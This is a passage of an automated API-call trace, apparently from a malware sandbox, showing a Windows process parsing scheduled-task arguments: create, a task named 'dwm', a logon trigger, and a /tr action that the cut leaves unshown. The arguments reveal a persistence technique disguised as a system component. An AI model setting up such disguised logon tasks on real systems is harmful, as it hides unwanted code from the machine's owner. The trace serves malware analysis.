(HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4370 [0106.010] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.010] GetProcessHeap () returned 0x1f4ae8c0000 [0106.010] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xa) returned 0x1f4ae8c4390 [0106.010] lstrlenW (lpString="create") returned 6 [0106.010] GetProcessHeap () returned 0x1f4ae8c0000 [0106.010] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c43b0 [0106.010] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.010] GetProcessHeap () returned 0x1f4ae8c0000 [0106.010] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x14) returned 0x1f4ae8c43d0 [0106.011] _vsnwprintf (in: _Buffer=0x1f4ae8c4390, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|?|") returned 3 [0106.011] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.011] lstrlenW (lpString="|?|") returned 3 [0106.011] lstrlenW (lpString="|create|") returned 8 [0106.011] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.011] lstrlenW (lpString="create") returned 6 [0106.011] lstrlenW (lpString="create") returned 6 [0106.011] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.011] GetProcessHeap () returned 0x1f4ae8c0000 [0106.011] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4390) returned 1 [0106.011] GetProcessHeap () returned 0x1f4ae8c0000 [0106.011] RtlReAllocateHeap (Heap=0x1f4ae8c0000, Flags=0xc, Ptr=0x1f4ae8c4390, Size=0x14) returned 0x1f4ae8c46e0 [0106.011] lstrlenW (lpString="create") returned 6 [0106.011] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.011] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.011] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.011] lstrlenW (lpString="|create|") returned 8 [0106.011] lstrlenW (lpString="|create|") returned 8 [0106.011] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0106.011] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.011] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.011] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.011] lstrlenW (lpString="/tn") returned 3 [0106.011] lstrlenW (lpString="-/") returned 2 [0106.011] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.011] lstrlenW (lpString="?") returned 1 [0106.012] lstrlenW (lpString="?") returned 1 [0106.012] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.012] lstrlenW (lpString="tn") returned 2 [0106.012] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.012] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|?|") returned 3 [0106.012] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.012] lstrlenW (lpString="|?|") returned 3 [0106.012] lstrlenW (lpString="|tn|") returned 4 [0106.012] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.012] lstrlenW (lpString="create") returned 6 [0106.012] lstrlenW (lpString="create") returned 6 [0106.012] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.014] lstrlenW (lpString="tn") returned 2 [0106.014] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.015] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.015] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.015] lstrlenW (lpString="|create|") returned 8 [0106.015] lstrlenW (lpString="|tn|") returned 4 [0106.015] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0106.015] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.015] lstrlenW (lpString="delete") returned 6 [0106.015] lstrlenW (lpString="delete") returned 6 [0106.015] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.015] lstrlenW (lpString="tn") returned 2 [0106.015] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.015] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|delete|") returned 8 [0106.015] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.015] lstrlenW (lpString="|delete|") returned 8 [0106.015] lstrlenW (lpString="|tn|") returned 4 [0106.015] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0106.015] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.015] lstrlenW (lpString="query") returned 5 [0106.015] lstrlenW (lpString="query") returned 5 [0106.015] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.015] lstrlenW (lpString="tn") returned 2 [0106.015] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.015] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|query|") returned 7 [0106.015] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.015] lstrlenW (lpString="|query|") returned 7 [0106.015] lstrlenW (lpString="|tn|") returned 4 [0106.016] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0106.016] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.016] lstrlenW (lpString="change") returned 6 [0106.016] lstrlenW (lpString="change") returned 6 [0106.016] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.016] lstrlenW (lpString="tn") returned 2 [0106.016] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.016] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|change|") returned 8 [0106.016] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.016] lstrlenW (lpString="|change|") returned 8 [0106.016] lstrlenW (lpString="|tn|") returned 4 [0106.016] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0106.016] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.016] lstrlenW (lpString="run") returned 3 [0106.016] lstrlenW (lpString="run") returned 3 [0106.016] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.016] lstrlenW (lpString="tn") returned 2 [0106.016] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.016] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|run|") returned 5 [0106.016] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.016] lstrlenW (lpString="|run|") returned 5 [0106.016] lstrlenW (lpString="|tn|") returned 4 [0106.016] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0106.016] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.016] lstrlenW (lpString="end") returned 3 [0106.016] lstrlenW (lpString="end") returned 3 [0106.017] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.017] lstrlenW (lpString="tn") returned 2 [0106.017] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.017] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|end|") returned 5 [0106.017] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.017] lstrlenW (lpString="|end|") returned 5 [0106.017] lstrlenW (lpString="|tn|") returned 4 [0106.017] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0106.017] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.017] lstrlenW (lpString="showsid") returned 7 [0106.017] lstrlenW (lpString="showsid") returned 7 [0106.017] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.017] GetProcessHeap () returned 0x1f4ae8c0000 [0106.017] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c46e0) returned 1 [0106.017] GetProcessHeap () returned 0x1f4ae8c0000 [0106.017] RtlReAllocateHeap (Heap=0x1f4ae8c0000, Flags=0xc, Ptr=0x1f4ae8c46e0, Size=0x16) returned 0x1f4ae8c46e0 [0106.017] lstrlenW (lpString="tn") returned 2 [0106.017] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.017] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|showsid|") returned 9 [0106.017] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tn|") returned 4 [0106.017] lstrlenW (lpString="|showsid|") returned 9 [0106.017] lstrlenW (lpString="|tn|") returned 4 [0106.017] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0106.017] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.017] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] lstrlenW (lpString="/tn") returned 3 [0106.018] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] lstrlenW (lpString="/tn") returned 3 [0106.018] GetProcessHeap () returned 0x1f4ae8c0000 [0106.018] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x8) returned 0x1f4ae8c4390 [0106.018] GetProcessHeap () returned 0x1f4ae8c0000 [0106.018] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb700 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] lstrlenW (lpString="dwm") returned 3 [0106.018] lstrlenW (lpString="-/") returned 2 [0106.018] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] lstrlenW (lpString="dwm") returned 3 [0106.018] StrChrIW (lpStart="dwm", wMatch=0x3a) returned 0x0 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] lstrlenW (lpString="dwm") returned 3 [0106.018] GetProcessHeap () returned 0x1f4ae8c0000 [0106.018] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x8) returned 0x1f4ae8c4710 [0106.018] GetProcessHeap () returned 0x1f4ae8c0000 [0106.018] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb3d0 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.018] lstrlenW (lpString="/sc") returned 3 [0106.019] lstrlenW (lpString="-/") returned 2 [0106.019] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.019] lstrlenW (lpString="?") returned 1 [0106.019] lstrlenW (lpString="?") returned 1 [0106.019] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.019] lstrlenW (lpString="sc") returned 2 [0106.019] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.019] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|?|") returned 3 [0106.019] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.019] lstrlenW (lpString="|?|") returned 3 [0106.019] lstrlenW (lpString="|sc|") returned 4 [0106.019] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.019] lstrlenW (lpString="create") returned 6 [0106.019] lstrlenW (lpString="create") returned 6 [0106.019] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.019] lstrlenW (lpString="sc") returned 2 [0106.019] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.019] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.019] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.019] lstrlenW (lpString="|create|") returned 8 [0106.019] lstrlenW (lpString="|sc|") returned 4 [0106.019] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0106.019] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.019] lstrlenW (lpString="delete") returned 6 [0106.019] lstrlenW (lpString="delete") returned 6 [0106.019] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.020] lstrlenW (lpString="sc") returned 2 [0106.020] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.020] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|delete|") returned 8 [0106.020] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.020] lstrlenW (lpString="|delete|") returned 8 [0106.020] lstrlenW (lpString="|sc|") returned 4 [0106.020] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0106.020] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.020] lstrlenW (lpString="query") returned 5 [0106.020] lstrlenW (lpString="query") returned 5 [0106.020] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.020] lstrlenW (lpString="sc") returned 2 [0106.020] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.020] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|query|") returned 7 [0106.020] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.020] lstrlenW (lpString="|query|") returned 7 [0106.020] lstrlenW (lpString="|sc|") returned 4 [0106.020] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0106.020] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.020] lstrlenW (lpString="change") returned 6 [0106.020] lstrlenW (lpString="change") returned 6 [0106.020] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.020] lstrlenW (lpString="sc") returned 2 [0106.020] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.021] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|change|") returned 8 [0106.021] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.021] lstrlenW (lpString="|change|") returned 8 [0106.021] lstrlenW (lpString="|sc|") returned 4 [0106.021] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0106.021] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.021] lstrlenW (lpString="run") returned 3 [0106.021] lstrlenW (lpString="run") returned 3 [0106.021] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.021] lstrlenW (lpString="sc") returned 2 [0106.021] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.021] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|run|") returned 5 [0106.021] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.021] lstrlenW (lpString="|run|") returned 5 [0106.021] lstrlenW (lpString="|sc|") returned 4 [0106.021] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0106.021] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.021] lstrlenW (lpString="end") returned 3 [0106.021] lstrlenW (lpString="end") returned 3 [0106.021] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.021] lstrlenW (lpString="sc") returned 2 [0106.021] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.021] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|end|") returned 5 [0106.021] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.021] lstrlenW (lpString="|end|") returned 5 [0106.021] lstrlenW (lpString="|sc|") returned 4 [0106.021] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] lstrlenW (lpString="showsid") returned 7 [0106.022] lstrlenW (lpString="showsid") returned 7 [0106.022] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.022] lstrlenW (lpString="sc") returned 2 [0106.022] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.022] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|showsid|") returned 9 [0106.022] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|sc|") returned 4 [0106.022] lstrlenW (lpString="|showsid|") returned 9 [0106.022] lstrlenW (lpString="|sc|") returned 4 [0106.022] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] lstrlenW (lpString="/sc") returned 3 [0106.022] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] lstrlenW (lpString="/sc") returned 3 [0106.022] GetProcessHeap () returned 0x1f4ae8c0000 [0106.022] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x8) returned 0x1f4ae8c4730 [0106.022] GetProcessHeap () returned 0x1f4ae8c0000 [0106.022] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb550 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.022] lstrlenW (lpString="ONLOGON") returned 7 [0106.022] lstrlenW (lpString="-/") returned 2 [0106.022] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0106.022] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] lstrlenW (lpString="ONLOGON") returned 7 [0106.023] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0106.023] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] lstrlenW (lpString="ONLOGON") returned 7 [0106.023] GetProcessHeap () returned 0x1f4ae8c0000 [0106.023] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x10) returned 0x1f4ae8c4750 [0106.023] GetProcessHeap () returned 0x1f4ae8c0000 [0106.023] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb880 [0106.023] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] lstrlenW (lpString="/tr") returned 3 [0106.023] lstrlenW (lpString="-/") returned 2 [0106.023] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.023] lstrlenW (lpString="?") returned 1 [0106.023] lstrlenW (lpString="?") returned 1 [0106.023] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.023] lstrlenW (lpString="tr") returned 2 [0106.023] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.023] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|?|") returned 3 [0106.023] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.023] lstrlenW (lpString="|?|") returned 3 [0106.023] lstrlenW (lpString="|tr|") returned 4 [0106.023] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.023] lstrlenW (lpString="create") returned 6 [0106.023] lstrlenW (lpString="create") returned 6 [0106.023] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.024] lstrlenW (lpString="tr") returned 2 [0106.024] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.024] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.024] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.024] lstrlenW (lpString="|create|") returned 8 [0106.024] lstrlenW (lpString="|tr|") returned 4 [0106.024] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0106.024] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.024] lstrlenW (lpString="delete") returned 6 [0106.024] lstrlenW (lpString="delete") returned 6 [0106.024] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.024] lstrlenW (lpString="tr") returned 2 [0106.024] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.024] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|delete|") returned 8 [0106.024] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.024] lstrlenW (lpString="|delete|") returned 8 [0106.024] lstrlenW (lpString="|tr|") returned 4 [0106.024] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0106.024] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.024] lstrlenW (lpString="query") returned 5 [0106.024] lstrlenW (lpString="query") returned 5 [0106.024] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.024] lstrlenW (lpString="tr") returned 2 [0106.024] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.024] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|query|") returned 7 [0106.025] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.025] lstrlenW (lpString="|query|") returned 7 [0106.025] lstrlenW (lpString="|tr|") returned 4 [0106.025] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0106.025] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.025] lstrlenW (lpString="change") returned 6 [0106.025] lstrlenW (lpString="change") returned 6 [0106.025] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.025] lstrlenW (lpString="tr") returned 2 [0106.025] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.025] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|change|") returned 8 [0106.025] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.025] lstrlenW (lpString="|change|") returned 8 [0106.025] lstrlenW (lpString="|tr|") returned 4 [0106.025] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0106.025] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.025] lstrlenW (lpString="run") returned 3 [0106.025] lstrlenW (lpString="run") returned 3 [0106.025] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.025] lstrlenW (lpString="tr") returned 2 [0106.025] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.025] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|run|") returned 5 [0106.025] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.025] lstrlenW (lpString="|run|") returned 5 [0106.025] lstrlenW (lpString="|tr|") returned 4 